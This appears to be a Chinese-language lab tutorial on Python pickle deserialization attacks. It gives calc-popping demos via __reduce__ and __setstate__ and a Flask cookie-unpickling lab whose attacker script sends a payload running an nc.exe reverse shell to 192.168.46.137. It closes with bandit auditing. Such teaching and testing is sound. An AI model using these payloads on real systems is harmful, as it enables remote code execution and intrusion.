Python-反序列化函数使用
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件， 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法：
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用
getstate() 序列化时调用
各类语言函数：
Java： Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP： serialize()、 unserialize()
Python：pickle marshal PyYAML shelve PIL unzip
案例一：
import pickle
import os
\#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
案例二：
class SerializePerson():
def __init__(self, name):
self.name = name
\# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器
Python-反序列化POP链构造
#CTF-反序列化漏洞利用-构造&RCE
环境介绍：利用Python-flask搭建的web应用，获取当前用户的信息，进行展示，在获取用户的信息时，通过对用户数据进行反序列化获取导致的安全漏洞！
-Server服务器：
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run(
host='192.168.1.3',
port=5000,
debug=True
)
服务器开启一个web服务
-Hacker服务器：
import requests
import pickle
import os
import base64
class exp(object):
def __reduce__(self):
s='c:/nc.exe -e cmd 192.168.46.137 6666'
return (os.system, (s,))
e = exp()
s = pickle.dumps(e)
print(s)
response = requests.get("http://192.168.1.3:5000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)
开启监听
攻击者执行反弹shell
Python-自动化审计bandit使用
参考：https://bandit.readthedocs.io/
安装：pip install bandit
linux:
安装后会在当前Python目录下bin
使用：bandit -r 需要审计的源码目录
windows:
安装后会在当前Python目录下script
使用：bandit -r 需要审计的源码目录
